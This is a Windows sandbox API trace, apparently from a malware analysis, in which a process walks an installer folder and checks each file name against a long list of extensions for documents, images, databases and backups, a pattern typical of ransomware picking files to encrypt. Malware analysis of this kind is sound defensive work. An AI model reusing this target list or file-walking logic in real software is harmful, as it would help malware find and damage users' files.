	[0060.749] lstrlenW (lpString=".php") returned 4
	[0060.749] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.749] lstrlenW (lpString=".php3") returned 5
	[0060.749] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.749] lstrlenW (lpString=".php4") returned 5
	[0060.749] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.749] lstrlenW (lpString=".php5") returned 5
	[0060.749] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.749] lstrlenW (lpString=".phtml") returned 6
	[0060.749] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.749] lstrlenW (lpString=".pict") returned 5
	[0060.749] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.749] lstrlenW (lpString=".pl") returned 3
	[0060.749] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.749] lstrlenW (lpString=".pls") returned 4
	[0060.749] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.749] lstrlenW (lpString=".pm") returned 3
	[0060.749] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.749] lstrlenW (lpString=".png") returned 4
	[0060.749] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.749] lstrlenW (lpString=".pnm") returned 4
	[0060.749] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.749] lstrlenW (lpString=".pot") returned 4
	[0060.749] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.749] lstrlenW (lpString=".potm") returned 5
	[0060.749] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.749] lstrlenW (lpString=".potx") returned 5
	[0060.749] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.749] lstrlenW (lpString=".ppa") returned 4
	[0060.749] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.749] lstrlenW (lpString=".ppam") returned 5
	[0060.749] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.749] lstrlenW (lpString=".ppm") returned 4
	[0060.750] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".pps") returned 4
	[0060.750] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".ppsm") returned 5
	[0060.750] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.750] lstrlenW (lpString=".ppt") returned 4
	[0060.750] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".pptm") returned 5
	[0060.750] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.750] lstrlenW (lpString=".pptx") returned 5
	[0060.750] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.750] lstrlenW (lpString=".prn") returned 4
	[0060.750] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".ps") returned 3
	[0060.750] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.750] lstrlenW (lpString=".psb") returned 4
	[0060.750] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".psd") returned 4
	[0060.750] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".pst") returned 4
	[0060.750] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".ptx") returned 4
	[0060.750] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".pub") returned 4
	[0060.750] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".pwm") returned 4
	[0060.750] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".pxr") returned 4
	[0060.750] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.750] lstrlenW (lpString=".py") returned 3
	[0060.750] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.750] lstrlenW (lpString=".qt") returned 3
	[0060.750] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.751] lstrlenW (lpString=".r3d") returned 4
	[0060.751] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0060.751] lstrlenW (lpString=".raf") returned 4
	[0060.751] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0060.751] lstrlenW (lpString=".rar") returned 4
	[0060.751] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.751] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.751] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.751] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.751] FindClose (in: hFindFile=0x5e0470 | out: hFindFile=0x5e0470) returned 1
	[0060.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0060.751] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0060.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0060.751] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0060.752] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02f0
	[0060.752] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.753] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.753] lstrlenW (lpString="eula.rtf") returned 8
	[0060.753] lstrlenW (lpString=".1cd") returned 4
	[0060.753] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.753] lstrlenW (lpString=".3ds") returned 4
	[0060.753] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.753] lstrlenW (lpString=".3fr") returned 4
	[0060.753] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.753] lstrlenW (lpString=".3g2") returned 4
	[0060.753] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.753] lstrlenW (lpString=".3gp") returned 4
	[0060.753] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.753] lstrlenW (lpString=".7z") returned 3
	[0060.753] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.753] lstrlenW (lpString=".accda") returned 6
	[0060.753] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.753] lstrlenW (lpString=".accdb") returned 6
	[0060.753] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.753] lstrlenW (lpString=".accdc") returned 6
	[0060.753] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.753] lstrlenW (lpString=".accde") returned 6
	[0060.753] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.753] lstrlenW (lpString=".accdt") returned 6
	[0060.753] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.753] lstrlenW (lpString=".accdw") returned 6
	[0060.753] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.753] lstrlenW (lpString=".adb") returned 4
	[0060.753] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".adp") returned 4
	[0060.754] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".ai") returned 3
	[0060.754] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.754] lstrlenW (lpString=".ai3") returned 4
	[0060.754] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".ai4") returned 4
	[0060.754] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".ai5") returned 4
	[0060.754] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".ai6") returned 4
	[0060.754] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".ai7") returned 4
	[0060.754] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".ai8") returned 4
	[0060.754] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".anim") returned 5
	[0060.754] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.754] lstrlenW (lpString=".arw") returned 4
	[0060.754] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".as") returned 3
	[0060.754] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.754] lstrlenW (lpString=".asa") returned 4
	[0060.754] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".asc") returned 4
	[0060.754] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".ascx") returned 5
	[0060.754] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.754] lstrlenW (lpString=".asm") returned 4
	[0060.754] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.754] lstrlenW (lpString=".asmx") returned 5
	[0060.754] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.755] lstrlenW (lpString=".asp") returned 4
	[0060.755] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".aspx") returned 5
	[0060.755] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.755] lstrlenW (lpString=".asr") returned 4
	[0060.755] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".asx") returned 4
	[0060.755] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".avi") returned 4
	[0060.755] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".avs") returned 4
	[0060.755] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".backup") returned 7
	[0060.755] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.755] lstrlenW (lpString=".bak") returned 4
	[0060.755] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".bay") returned 4
	[0060.755] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".bd") returned 3
	[0060.755] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.755] lstrlenW (lpString=".bin") returned 4
	[0060.755] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".bmp") returned 4
	[0060.755] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".bz2") returned 4
	[0060.755] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".c") returned 2
	[0060.755] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.755] lstrlenW (lpString=".cdr") returned 4
	[0060.755] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.755] lstrlenW (lpString=".cer") returned 4
	[0060.755] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".cf") returned 3
	[0060.756] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.756] lstrlenW (lpString=".cfc") returned 4
	[0060.756] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".cfm") returned 4
	[0060.756] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".cfml") returned 5
	[0060.756] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.756] lstrlenW (lpString=".cfu") returned 4
	[0060.756] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".chm") returned 4
	[0060.756] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".cin") returned 4
	[0060.756] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".class") returned 6
	[0060.756] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.756] lstrlenW (lpString=".clx") returned 4
	[0060.756] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".config") returned 7
	[0060.756] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.756] lstrlenW (lpString=".cpp") returned 4
	[0060.756] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".cr2") returned 4
	[0060.756] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".crt") returned 4
	[0060.756] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".crw") returned 4
	[0060.756] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".cs") returned 3
	[0060.756] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.756] lstrlenW (lpString=".css") returned 4
	[0060.756] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.756] lstrlenW (lpString=".csv") returned 4
	[0060.757] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".cub") returned 4
	[0060.757] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dae") returned 4
	[0060.757] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dat") returned 4
	[0060.757] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".db") returned 3
	[0060.757] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.757] lstrlenW (lpString=".dbf") returned 4
	[0060.757] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dbx") returned 4
	[0060.757] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dc3") returned 4
	[0060.757] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dcm") returned 4
	[0060.757] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dcr") returned 4
	[0060.757] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".der") returned 4
	[0060.757] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dib") returned 4
	[0060.757] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dic") returned 4
	[0060.757] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".dif") returned 4
	[0060.757] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.757] lstrlenW (lpString=".divx") returned 5
	[0060.757] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.757] lstrlenW (lpString=".djvu") returned 5
	[0060.757] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.757] lstrlenW (lpString=".dng") returned 4
	[0060.758] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".doc") returned 4
	[0060.758] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".docm") returned 5
	[0060.758] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.758] lstrlenW (lpString=".docx") returned 5
	[0060.758] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.758] lstrlenW (lpString=".dot") returned 4
	[0060.758] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".dotm") returned 5
	[0060.758] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.758] lstrlenW (lpString=".dotx") returned 5
	[0060.758] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.758] lstrlenW (lpString=".dpx") returned 4
	[0060.758] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".dqy") returned 4
	[0060.758] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".dsn") returned 4
	[0060.758] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".dt") returned 3
	[0060.758] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.758] lstrlenW (lpString=".dtd") returned 4
	[0060.758] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".dwg") returned 4
	[0060.758] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".dwt") returned 4
	[0060.758] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".dx") returned 3
	[0060.758] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.758] lstrlenW (lpString=".dxf") returned 4
	[0060.758] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.758] lstrlenW (lpString=".edml") returned 5
	[0060.758] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.759] lstrlenW (lpString=".efd") returned 4
	[0060.759] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".elf") returned 4
	[0060.759] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".emf") returned 4
	[0060.759] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".emz") returned 4
	[0060.759] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".epf") returned 4
	[0060.759] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".eps") returned 4
	[0060.759] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".epsf") returned 5
	[0060.759] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.759] lstrlenW (lpString=".epsp") returned 5
	[0060.759] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.759] lstrlenW (lpString=".erf") returned 4
	[0060.759] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".exr") returned 4
	[0060.759] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".f4v") returned 4
	[0060.759] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".fido") returned 5
	[0060.759] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.759] lstrlenW (lpString=".flm") returned 4
	[0060.759] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".flv") returned 4
	[0060.759] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".frm") returned 4
	[0060.759] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".fxg") returned 4
	[0060.759] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.759] lstrlenW (lpString=".geo") returned 4
	[0060.760] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".gif") returned 4
	[0060.760] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".grs") returned 4
	[0060.760] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".gz") returned 3
	[0060.760] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.760] lstrlenW (lpString=".h") returned 2
	[0060.760] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.760] lstrlenW (lpString=".hdr") returned 4
	[0060.760] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".hpp") returned 4
	[0060.760] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".hta") returned 4
	[0060.760] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".htc") returned 4
	[0060.760] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".htm") returned 4
	[0060.760] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".html") returned 5
	[0060.760] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.760] lstrlenW (lpString=".icb") returned 4
	[0060.760] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".ics") returned 4
	[0060.760] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".iff") returned 4
	[0060.760] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".inc") returned 4
	[0060.760] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".indd") returned 5
	[0060.760] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.760] lstrlenW (lpString=".ini") returned 4
	[0060.760] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.760] lstrlenW (lpString=".iqy") returned 4
	[0060.761] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".j2c") returned 4
	[0060.761] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".j2k") returned 4
	[0060.761] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".java") returned 5
	[0060.761] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.761] lstrlenW (lpString=".jp2") returned 4
	[0060.761] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".jpc") returned 4
	[0060.761] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".jpe") returned 4
	[0060.761] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".jpeg") returned 5
	[0060.761] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.761] lstrlenW (lpString=".jpf") returned 4
	[0060.761] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".jpg") returned 4
	[0060.761] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".jpx") returned 4
	[0060.761] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".js") returned 3
	[0060.761] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.761] lstrlenW (lpString=".jsf") returned 4
	[0060.761] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".json") returned 5
	[0060.761] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.761] lstrlenW (lpString=".jsp") returned 4
	[0060.761] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".kdc") returned 4
	[0060.761] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.761] lstrlenW (lpString=".kmz") returned 4
	[0060.761] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".kwm") returned 4
	[0060.762] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".lasso") returned 6
	[0060.762] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.762] lstrlenW (lpString=".lbi") returned 4
	[0060.762] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".lgf") returned 4
	[0060.762] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
